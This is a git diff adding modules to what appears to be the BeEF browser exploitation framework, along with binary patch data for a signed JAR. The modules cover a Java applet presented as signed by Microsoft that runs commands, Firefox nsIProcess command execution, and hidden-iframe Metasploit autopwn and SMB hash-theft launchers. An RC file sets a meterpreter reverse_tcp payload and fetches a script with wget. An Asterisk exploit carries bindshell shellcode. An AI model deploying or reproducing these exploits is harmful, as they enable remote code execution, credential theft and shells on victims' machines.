zS))?cHc1Kx9viCdR_nUb7I^wbB^`&F0gDEx9i`Q!6}`>JOhy%qA=op!$%2aH=X21tPciPhfl zgD^h>JL}>UygtaioCY~5b{s~UYKYwXbnL04dv!ib(Qt_bYR;NzU=o`7W%T%f=k`dde%u4S7U1Xtn(K(`#QqmfL?FlJ4b;J|$@Az-?@@oc3 zlm0tHhluP8!xv-5xO~kZsZX()Z(~eU^?x#mtX-1gFCqV>Qn8S?u~$xlLM&^^RI!XD fyCatIHUdPclA=Z<<#vd7 + + + + +
    Malicious Java Applet
    +This module will execute a command on the client. The client will receive a Java Applet popup.

    +The certificate is self-signed by the Microsoft Corporation.

    + +
    +
    +
    Command
    + + + +
    +
    + diff --git a/modules/browser/malicious_applet/name.txt b/modules/browser/malicious_applet/name.txt new file mode 100644 index 000000000..283ce9895 --- /dev/null +++ b/modules/browser/malicious_applet/name.txt @@ -0,0 +1 @@ +Malicious Java Applet diff --git a/modules/browser/malicious_applet/template.js b/modules/browser/malicious_applet/template.js new file mode 100644 index 000000000..0f5cbebe3 --- /dev/null +++ b/modules/browser/malicious_applet/template.js @@ -0,0 +1,30 @@ + +// ie doesn't play nice with dynamic loading of jars - below is a link to what sun recommends +// if any knows a nicer way to do this drop me an email +// http://java.sun.com/javase/6/docs/technotes/guides/plugin/developer_guide/using_tags.html#javascript + +function applet() { + + var _app = navigator.appName; + + if (_app == 'Microsoft Internet Explorer') { + var malicious = document.createElement("div"); + malicious.innerHTML = ' > > '; + document.body.appendChild(malicious); + } else { + document.write( + ''); + } + + return_result(result_id, "Appet running"); +} + +applet(); + diff --git a/modules/browser/mozilla_nsiprocess_interface/index.php b/modules/browser/mozilla_nsiprocess_interface/index.php new file mode 100644 index 000000000..693b8cf3b --- /dev/null +++ b/modules/browser/mozilla_nsiprocess_interface/index.php @@ -0,0 +1,53 @@ + + + + + +
    Mozilla nsIProcess XPCOM Interface (Windows)
    + +The nsIProcess XPCOM interface represents an executable process. JavaScript +code with chrome privileges can use the nsIProcess interface to launch +executable files. In this module, nsIProcess is combined with the Windows +command prompt cmd.exe. +

    +Any XSS injection in a chrome privileged zone (e.g. typically in Firefox +extensions) allows his module to execute arbitrary commands on the victim +machine. +

    +
    +
    +
    Windows Command
    + + + +
    +
    diff --git a/modules/browser/mozilla_nsiprocess_interface/name.txt b/modules/browser/mozilla_nsiprocess_interface/name.txt new file mode 100644 index 000000000..c60c8d3d6 --- /dev/null +++ b/modules/browser/mozilla_nsiprocess_interface/name.txt @@ -0,0 +1 @@ +Mozilla nsIProcess Interface diff --git a/modules/browser/mozilla_nsiprocess_interface/template.js b/modules/browser/mozilla_nsiprocess_interface/template.js new file mode 100644 index 000000000..4539705dd --- /dev/null +++ b/modules/browser/mozilla_nsiprocess_interface/template.js @@ -0,0 +1,17 @@ + +// thanks Roberto (roberto.suggi@security-assessment.com) and Nick (nick.freeman@security-assessment.com) + +function do_main(){ + + var getWorkingDir= Components.classes["@mozilla.org/file/directory_service;1"].getService(Components.interfaces.nsIProperties).get("Home",Components.interfaces.nsIFile); + var lFile = Components.classes["@mozilla.org/file/local;1"].createInstance(Components.interfaces.nsILocalFile); + var lPath = "C:\\WINDOWS\\system32\\cmd.exe"; + lFile.initWithPath(lPath); + var process = Components.classes["@mozilla.org/process/util;1"].createInstance(Components.interfaces.nsIProcess); + process.init(lFile); + process.run(false,['/c', 'BEEFCOMMAND'],2); + +} + +do_main(); +return_result(result_id, "command executed"); \ No newline at end of file diff --git a/modules/browser/msf_autopwn/index.php b/modules/browser/msf_autopwn/index.php new file mode 100644 index 000000000..77572fc45 --- /dev/null +++ b/modules/browser/msf_autopwn/index.php @@ -0,0 +1,61 @@ + + + + + + +
    Metasploit Browser Autopwn
    + This module creates a Metasploit listener using a backend server, and then sends the client + code which creates an iframe connecting to the waiting exploit.

    + Setup MSF to allow BeEF access (settings in /beef/ui/msf.php):
    + +
    +    sudo ./msfconsole
    +    msf > load xmlrpc Pass=BeEFMSFPass
    +
    +
    +
    +
    LHOST (Required)
    + +
    LPORT
    + +
    SRVHOST (Required)
    + +
    SRVPORT (Required)
    + +
    URIPATH
    + + + +
    +
    + diff --git a/modules/browser/msf_autopwn/name.txt b/modules/browser/msf_autopwn/name.txt new file mode 100644 index 000000000..e01dfed7a --- /dev/null +++ b/modules/browser/msf_autopwn/name.txt @@ -0,0 +1 @@ +MSF Browser Autopwn diff --git a/modules/browser/msf_autopwn/template.js b/modules/browser/msf_autopwn/template.js new file mode 100644 index 000000000..e3ed6b396 --- /dev/null +++ b/modules/browser/msf_autopwn/template.js @@ -0,0 +1,14 @@ +// iframe.setAttribute("style", "visibility:hidden;"); doesn't work with ie + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = 'URL'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Launched Browser AutoPWN"; +} + +return_result(result_id, do_main()); diff --git a/modules/browser/msf_autopwn_manual/beef.rc b/modules/browser/msf_autopwn_manual/beef.rc new file mode 100644 index 000000000..495b23e3e --- /dev/null +++ b/modules/browser/msf_autopwn_manual/beef.rc @@ -0,0 +1,9 @@ +use auxiliary/server/browser_autopwn +set PAYLOAD windows/meterpreter/reverse_tcp +set LHOST 10.0.0.1 +set LPORT 53 +set SRVPORT 9000 +set URIPATH /beef.html +sh -c 'cd /tmp; wget http://spl0it.org/files/msfautopwn.rb' +set AutoRunScript /tmp/msfautopwn.rb +run diff --git a/modules/browser/msf_autopwn_manual/index.php b/modules/browser/msf_autopwn_manual/index.php new file mode 100644 index 000000000..199163d51 --- /dev/null +++ b/modules/browser/msf_autopwn_manual/index.php @@ -0,0 +1,59 @@ + + + + +
    Metasploit Browser Autopwn (Manual Setup)
    +
    + This exploit requires an RC file for Metasploit. Unlike the other Metasploit modules, + this one requires the manual setup of the autopwn module.

    + Metasploit Autopwn RC File: beef.rc
    +
    +        sudo ./msfconsole -r beef.rc
    +    
    +
    +
    +
    +
    Metasploit Autopwn IP
    + +
    Metasploit Autopwn Port
    + + +
    +
    +
    + diff --git a/modules/browser/msf_autopwn_manual/name.txt b/modules/browser/msf_autopwn_manual/name.txt new file mode 100644 index 000000000..b17f6acf2 --- /dev/null +++ b/modules/browser/msf_autopwn_manual/name.txt @@ -0,0 +1 @@ +MSF Browser Autopwn (M) diff --git a/modules/browser/msf_autopwn_manual/template.js b/modules/browser/msf_autopwn_manual/template.js new file mode 100644 index 000000000..67db582b6 --- /dev/null +++ b/modules/browser/msf_autopwn_manual/template.js @@ -0,0 +1,17 @@ +// iframe.setAttribute("style", "visibility:hidden;"); doesn't work with ie + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = 'http://MSF_IP:MSF_PORT/beef.html'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Request Sent"; +} + +var result_value = do_main(); + + +return_result(result_id, result_value); diff --git a/modules/browser/msf_browser_expliot/index.php b/modules/browser/msf_browser_expliot/index.php new file mode 100644 index 000000000..d763f02fb --- /dev/null +++ b/modules/browser/msf_browser_expliot/index.php @@ -0,0 +1,68 @@ + + + + + + +
    Metasploit Browser Exploits
    +This module creates a Metasploit listener using a backend server, and then sends the client +code which creates an iframe connecting to the waiting exploit.

    +Setup MSF to allow BeEF access (settings in /beef/ui/msf.php):
    + +
    +    sudo ./msfconsole
    +    msf > load xmlrpc Pass=BeEFMSFPass
    +
    +
    +
    +
    Exploit
    +
    + +
    +
    Payload
    +
    + +
    +
    Loading...
    + +
    +
    + + diff --git a/modules/browser/msf_browser_expliot/name.txt b/modules/browser/msf_browser_expliot/name.txt new file mode 100644 index 000000000..3a3ea3cde --- /dev/null +++ b/modules/browser/msf_browser_expliot/name.txt @@ -0,0 +1 @@ +MSF Browser Exploit diff --git a/modules/browser/msf_browser_expliot/template.js b/modules/browser/msf_browser_expliot/template.js new file mode 100644 index 000000000..da76c274d --- /dev/null +++ b/modules/browser/msf_browser_expliot/template.js @@ -0,0 +1,14 @@ +// iframe.setAttribute("style", "visibility:hidden;"); doesn't work with ie + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = 'URL'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Launched Metasploit Module"; +} + +return_result(result_id, do_main()); diff --git a/modules/browser/msf_capture_hashes/index.php b/modules/browser/msf_capture_hashes/index.php new file mode 100644 index 000000000..7ade8867f --- /dev/null +++ b/modules/browser/msf_capture_hashes/index.php @@ -0,0 +1,65 @@ + + + + + + +
    Metasploit SMB Challenge Theft
    +This module launches a Metasploit listener that attempts to covertly steal SMB Challenge hashes. Once +the Metasploit module has been launched, the targeted zombies will be redirected to Metasploit to attempt +to capture credentials.

    +Setup MSF to allow BeEF access (settings in /beef/ui/msf.php):
    + +
    +    sudo ./msfconsole
    +    msf > load xmlrpc Pass=BeEFMSFPass
    +
    +
    +
    +
    SRVHOST (Required)
    + +
    SRVPORT (Required)
    + +
    URIPATH
    + + +
    + +
    +
    +
    + After a successful exploitation the results can be found:
    + Captured hashes
    + Captured hashes (Cain & Able format) +
    +
    + diff --git a/modules/browser/msf_capture_hashes/name.txt b/modules/browser/msf_capture_hashes/name.txt new file mode 100644 index 000000000..787070ee5 --- /dev/null +++ b/modules/browser/msf_capture_hashes/name.txt @@ -0,0 +1 @@ +MSF SMB Challenge Theft diff --git a/modules/browser/msf_capture_hashes/template.js b/modules/browser/msf_capture_hashes/template.js new file mode 100644 index 000000000..93b5cb256 --- /dev/null +++ b/modules/browser/msf_capture_hashes/template.js @@ -0,0 +1,14 @@ +// iframe.setAttribute("style", "visibility:hidden;"); doesn't work with ie + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = 'URL'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Launched Metasploit SMB Credential Theft"; +} + +return_result(result_id, do_main()); diff --git a/modules/browser/msf_malicious_java_applet/SignedUpdate.jar b/modules/browser/msf_malicious_java_applet/SignedUpdate.jar new file mode 100755 index 0000000000000000000000000000000000000000..78699f2441b57a1c9816b7e37b95e9997cc11944 GIT binary patch literal 2581 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 + + + + +
    Metasploit Payload Java Applet
    +This module will execute a command on the client. The client will receive a Java Applet popup.

    +The certificate is self-signed by the Microsoft Corporation.

    + +
    +
    +
    URL to Download Meterpreter Payload
    + + + +
    +
    + diff --git a/modules/browser/msf_malicious_java_applet/name.txt b/modules/browser/msf_malicious_java_applet/name.txt new file mode 100755 index 000000000..39bb613e4 --- /dev/null +++ b/modules/browser/msf_malicious_java_applet/name.txt @@ -0,0 +1 @@ +MSF Payload Java Applet diff --git a/modules/browser/msf_malicious_java_applet/template.js b/modules/browser/msf_malicious_java_applet/template.js new file mode 100755 index 000000000..e604955b0 --- /dev/null +++ b/modules/browser/msf_malicious_java_applet/template.js @@ -0,0 +1,23 @@ + +// ie doesn't play nice with dynamic loading of jars - below is a link to what sun recommends +// if any knows a nicer way to do this drop me an email +// http://java.sun.com/javase/6/docs/technotes/guides/plugin/developer_guide/using_tags.html#javascript + +function applet() { + + var _app = navigator.appName; + + var malicious = document.createElement("div"); + if (_app == 'Microsoft Internet Explorer') { + malicious.innerHTML = '> >'; + } else { + malicious.innerHTML = ' '; + } + + document.body.appendChild(malicious); + + return_result(result_id, "Appet running"); +} + +applet(); + diff --git a/modules/network/asterisk_ipe/index.php b/modules/network/asterisk_ipe/index.php new file mode 100644 index 000000000..f56ae54b5 --- /dev/null +++ b/modules/network/asterisk_ipe/index.php @@ -0,0 +1,55 @@ + + + + + +
    Asterisk (Inter-protocol Exploit)
    +This module will exploit the asterisk (1.0.7) manager vulnerability from the browser. The +payload is a bindshell on port 4444.

    +The Bindshell Inter-protocol Communication module or following command will connect to the listening bindshell: +
    +    nc asteriskserverip 4444
    +
    + +
    +
    +
    Target Address
    + +
    Username
    + +
    Secret
    + + +
    +
    +
    +
    + + +
    diff --git a/modules/network/asterisk_ipe/name.txt b/modules/network/asterisk_ipe/name.txt new file mode 100644 index 000000000..2e74bf13f --- /dev/null +++ b/modules/network/asterisk_ipe/name.txt @@ -0,0 +1 @@ +Asterisk IPE diff --git a/modules/network/asterisk_ipe/template.js b/modules/network/asterisk_ipe/template.js new file mode 100644 index 000000000..74de7750d --- /dev/null +++ b/modules/network/asterisk_ipe/template.js @@ -0,0 +1,78 @@ +var target_ip = 'IP_ADDRESS'; +var target_port = '5038'; +var payload = ''; + +// shellcode creates a bindshell on port 4444 +var shellcode = "0D0A" + +"416374696F6E3A20436F6D6D61" + +"6E640D0A436F6D6D616E643A20222209" + +"22220922220922220922220922220922" + +"22092222092222092222092222092222" + +"09222209222209222209222209222209" + +"22220922220922220922220922220922" + +"22092222092222092222092222092222" + +"09222209222209222209222209222209" + +"22220922220922220922220922220922" + +"22092222092222092222092222092222" + +"09222209222209222209222209222209" + +"22220922220922220922220922220922" + +"22092222092222092222092222092222" + +"09222209222209222209222209222209" + +"22220922220922220922220922220922" + +"22092222545B81EB0101010181C35B04" + +"01019090FFE30D0A416374696F6E4944" + +"3A20EB0359EB05E8F8FFFFFF4F494949" + +"494949515A5654583633305658344130" + +"42364848304233304243565832424442" + +"48344132414430414454424451423041" + +"44415658345A3842444A4F4D41334B4D" + +"4335435443354C5644504C5648364A45" + +"49394958414E4D4C4238484943444445" + +"48564A5641414E45483643354938414E" + +"4C5648564A354255413548554938414E" + +"4D4C4258424B4856414D434E4D4C4238" + +"44354435485543444948414E424B4846" + +"4D4C424843594C3644504955424B4F53" + +"4D4C425849344937494F424B4B504435" + +"4A464F424F3243474A464A464F324456" + +"493650364948434E445543454948414E" + +"4D4C42385A0D0A0D0A0D0A" + "0D0A0D61"; + +var iframe = document.createElement("iframe"); +iframe.setAttribute("id","iwindow"); +//iframe.setAttribute("style", "visibility:hidden;"); +document.body.appendChild(iframe); + +function do_submit(ip, port, content) { + myform=document.createElement("form"); + myform.setAttribute("name","data"); + myform.setAttribute("method","post"); + myform.setAttribute("enctype", "multipart/form-data"); + + myform.setAttribute("action","http://" + ip + + ":" + port + "/abc.html"); + document.getElementById("iwindow").contentWindow.document.body.appendChild(myform); + + myExt = document.createElement("INPUT"); + myExt.setAttribute("id","extNo"); + myExt.setAttribute("name","test"); + myExt.setAttribute("value",content); + myform.appendChild(myExt); + + myform.submit(); +} + +payload += "Action: login\n"; +payload += "Username: USERNAME\n"; +//payload += "Username: mark\n"; +payload += "Secret: SECRET\n"; +//payload += "Secret: mysecret\n"; + +for (var i = 0; i + + + + +
    Bindshell (Inter-protocol Communication)
    + +
    + Using Inter-protocol Communication the + zombie browser will send commands to a listening bindshell. The target address can be + on the zombie's subnet which is potentially not directly accessible from the Internet. +
    + +
    +
    +
    Target Address
    + +
    Port
    + +
    Commands
    + note: the semicolons and exit command are required + + +
    +
    + + + + diff --git a/modules/network/bindshell_ipc/name.txt b/modules/network/bindshell_ipc/name.txt new file mode 100644 index 000000000..183556d77 --- /dev/null +++ b/modules/network/bindshell_ipc/name.txt @@ -0,0 +1 @@ +Bindshell IPC diff --git a/modules/network/bindshell_ipc/template.js b/modules/network/bindshell_ipc/template.js new file mode 100644 index 000000000..acdc91a4c --- /dev/null +++ b/modules/network/bindshell_ipc/template.js @@ -0,0 +1,89 @@ +var target_ip = 'IP_ADDRESS'; +var target_port = '220'; +var payload = ""; + +var scr_l = ''; +var scr_r = ''; +var max_line_len = 23; + +payload += "ls\\\n"; + +function add_line(cmd) { + payload += "echo -n '" + scr_l + "'\\\n"; + payload += "echo " + cmd + "\\\n"; + payload += "echo '" + scr_r + "'\\\n"; +} + +function add_echo(cmd) { + payload += "echo " + "\\\"" + cmd + "\\\"" + "\\\n"; +} + +function construct_js(js) { + add_line("a=''"); + + js = js.replace(/ /g, "SP") + + //for(i=0; i + + + + +
    Redirect Browser
    +This module will redirect the selected zombie browsers to the address specified in the +'Redirect URL' input.

    + +
    +
    +
    Redirect URL
    + + + +
    +
    diff --git a/modules/network/browser_redirect/name.txt b/modules/network/browser_redirect/name.txt new file mode 100644 index 000000000..d0a5080c2 --- /dev/null +++ b/modules/network/browser_redirect/name.txt @@ -0,0 +1 @@ +Browser Redirect diff --git a/modules/network/browser_redirect/template.js b/modules/network/browser_redirect/template.js new file mode 100644 index 000000000..93c42d2c1 --- /dev/null +++ b/modules/network/browser_redirect/template.js @@ -0,0 +1,6 @@ +function do_main(){ + return_result(result_id, "Redirecting now"); + window.location = "REDIRECTURL"; +} + +do_main(); \ No newline at end of file diff --git a/modules/network/browser_request/index.php b/modules/network/browser_request/index.php new file mode 100644 index 000000000..36ba60a4e --- /dev/null +++ b/modules/network/browser_request/index.php @@ -0,0 +1,45 @@ + + + + +
    Browser Request
    +This module will create an iFrame and send a request to the URL specified below.

    +
    +
    +
    Request URL
    + + + +
    +
    + diff --git a/modules/network/browser_request/name.txt b/modules/network/browser_request/name.txt new file mode 100644 index 000000000..8d51f1075 --- /dev/null +++ b/modules/network/browser_request/name.txt @@ -0,0 +1 @@ +Browser Request diff --git a/modules/network/browser_request/template.js b/modules/network/browser_request/template.js new file mode 100644 index 000000000..ac941279a --- /dev/null +++ b/modules/network/browser_request/template.js @@ -0,0 +1,17 @@ +// iframe.setAttribute("style", "visibility:hidden;"); doesn't work with ie + +function do_main(){ + var iframe = document.createElement('iframe'); + iframe.src = 'URL'; + iframe.setAttribute("width", "1"); + iframe.setAttribute("height", "1"); + iframe.setAttribute("style", "visibility:hidden;"); + document.body.appendChild(iframe); + + return "Request Sent"; +} + +var result_value = do_main(); + + +return_result(result_id, result_value); \ No newline at end of file diff --git a/modules/network/detect_host_ip/index.php b/modules/network/detect_host_ip/index.php new file mode 100644 index 000000000..c1748302d --- /dev/null +++ b/modules/network/detect_host_ip/index.php @@ -0,0 +1,40 @@ + + + + + +
    Detect Host IP
    +This module will detect the host IP of the selected zombie browsers.

    +
    +
    +
    + + + +
    diff --git a/modules/network/detect_host_ip/name.txt b/modules/network/detect_host_ip/name.txt new file mode 100644 index 000000000..798f91e8d --- /dev/null +++ b/modules/network/detect_host_ip/name.txt @@ -0,0 +1 @@ +Detect Host IP diff --git a/modules/network/detect_host_ip/template.js b/modules/network/detect_host_ip/template.js new file mode 100644 index 000000000..1226a0bc8 --- /dev/null +++ b/modules/network/detect_host_ip/template.js @@ -0,0 +1,21 @@ +// code from http://code.google.com/p/attackapi/ + +var internalIP = ""; + +function do_main(){ + + try { + var sock = new java.net.Socket(); + + sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); + sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); + + internalIP = sock.getLocalAddress().getHostAddress(); + } catch (e) { + internalIP = 'failed'; + } + +} + +do_main(); +return_result(result_id, internalIP); \ No newline at end of file diff --git a/modules/network/detect_hostname/index.php b/modules/network/detect_hostname/index.php new file mode 100644 index 000000000..e4335d768 --- /dev/null +++ b/modules/network/detect_hostname/index.php @@ -0,0 +1,40 @@ + + + + + +
    Detect Hostname
    +This module will detect the hostname of the selected zombie browsers.

    +
    +
    +
    + + +
    +
    diff --git a/modules/network/detect_hostname/name.txt b/modules/network/detect_hostname/name.txt new file mode 100644 index 000000000..36566fa81 --- /dev/null +++ b/modules/network/detect_hostname/name.txt @@ -0,0 +1 @@ +Detect Hostname diff --git a/modules/network/detect_hostname/template.js b/modules/network/detect_hostname/template.js new file mode 100644 index 000000000..64fc1f1d0 --- /dev/null +++ b/modules/network/detect_hostname/template.js @@ -0,0 +1,21 @@ +// code from http://code.google.com/p/attackapi/ + +var internalhostname = ""; + +function do_main(){ + + try { + var sock = new java.net.Socket(); + + sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0)); + sock.connect(new java.net.InetSocketAddress(document.domain, (!document.location.port)?80:document.location.port)); + + internalhostname = sock.getLocalAddress().getHostName(); + } catch (e) { + internalhostname = 'failed'; + } + +} + +do_main(); +return_result(result_id, internalhostname); \ No newline at end of file diff --git a/modules/network/detect_tor/index.php b/modules/network/detect_tor/index.php new file mode 100755 index 000000000..16f7b7b5f --- /dev/null +++ b/modules/network/detect_tor/index.php @@ -0,0 +1,46 @@ + + // http://blog.spl0it.org + // Thu Jul 9 02:09:25 EDT 2009 + + require_once("../../../include/common.inc.php"); // included for get_b64_file() + DEFINE('JS_FILE', './template.js'); +?> + + + + +
    Detect TOR
    +This module will detect if the zombie is using TOR (The Onion Router).

    + +
    +
    +
    + + +
    +
    + diff --git a/modules/network/detect_tor/name.txt b/modules/network/detect_tor/name.txt new file mode 100755 index 000000000..47f59f87f --- /dev/null +++ b/modules/network/detect_tor/name.txt @@ -0,0 +1 @@ +Detect TOR diff --git a/modules/network/detect_tor/template.js b/modules/network/detect_tor/template.js new file mode 100755 index 000000000..2aeecad0e --- /dev/null +++ b/modules/network/detect_tor/template.js @@ -0,0 +1,25 @@ +function using_tor() { + result = "Tor is being used"; +} +function not_using_tor() { + result = "Tor is NOT being used"; +} +function do_main() { + var img = new Image(); + + img.onload = using_tor(); + img.onerror = not_using_tor(); + img.setAttribute("width", "0"); + img.setAttribute("height", "0"); + img.setAttribute("style", "visibility:hidden;"); + img.src = 'http://dige6xxwpt2knqbv.onion/wink.gif'; + + document.body.appendChild(img); + + return "Request Sent"; +} + +var result = null; +do_main(); + +return_result(result_id, result); diff --git a/modules/network/detect_visited_urls/alexa.txt b/modules/network/detect_visited_urls/alexa.txt new file mode 100644 index 000000000..0e250b6fd --- /dev/null +++ b/modules/network/detect_visited_urls/alexa.txt @@ -0,0 +1,499 @@ +# Top 500 sites from Alexa (2006-04-21) +yahoo.com +google.com +youtube.com +live.com +msn.com +myspace.com +wikipedia.org +facebook.com +blogger.com +yahoo.co.jp +orkut.com +rapidshare.com +baidu.com +microsoft.com +google.co.in +google.de +qq.com +ebay.com +hi5.com +google.fr +aol.com +mail.ru +google.co.uk +sina.com.cn +fc2.com +photobucket.com +google.com.br +amazon.com +imdb.com +vkontakte.ru +google.it +google.es +google.cn +imageshack.us +youporn.com +wordpress.com +google.co.jp +yandex.ru +flickr.com +friendster.com +skyrock.com +adultfriendfinder.com +go.com +odnoklassniki.ru +google.com.mx +bbc.co.uk +craigslist.org +dailymotion.com +redtube.com +cnn.com +163.com +mininova.org +googlesyndication.com +taobao.com +google.ca +livejournal.com +fotolog.net +uol.com.br +imagevenue.com +ebay.de +naver.com +mixi.jp +rakuten.co.jp +rambler.ru +espn.go.com +free.fr +livedoor.com +rediff.com +nicovideo.jp +adobe.com +sohu.com +apple.com +56.com +yourfilehost.com +veoh.com +perfspot.com +deviantart.com +about.com +google.com.tr +youku.com +globo.com +megaupload.com +google.pl +metroflog.com +google.ru +fastclick.com +clicksor.com +geocities.com +goo.ne.jp +google.co.id +ebay.co.uk +mediafire.com +yahoo.com.cn +partypoker.com +gamespot.com +download.com +nytimes.com +google.com.au +terra.com.br +wretch.cc +weather.com +thepiratebay.org +ign.com +bebo.com +depositfiles.com +google.com.sa +ask.com +nasza-klasa.pl +adultadworld.com +nba.com +google.com.ar +ameblo.jp +zshare.net +tudou.com +digg.com +google.nl +amazon.co.jp +4shared.com +aim.com +netlog.com +2ch.net +infoseek.co.jp +studiverzeichnis.com +isohunt.com +comcast.net +doubleclick.com +nifty.com +daum.net +sourceforge.net +usercash.com +geocities.jp +mop.com +badongo.com +cnet.com +onet.pl +google.co.th +easy-share.com +pornhub.com +megarotic.com +imeem.com +gmx.net +dell.com +ig.com.br +orange.fr +xunlei.com +metacafe.com +reference.com +biglobe.ne.jp +sakura.ne.jp +information.com +homeway.com.cn +multiply.com +888.com +livejasmin.com +zol.com.cn +realitykings.com +torrentz.com +libero.it +narod.ru +web.de +google.co.za +soso.com +mozilla.com +amazon.de +filefactory.com +ebay.it +google.com.eg +icq.com +brazzers.com +google.co.ve +allegro.pl +ucoz.ru +anonym.to +tinypic.com +alice.it +blogfa.com +vnexpress.net +wp.pl +wikimedia.org 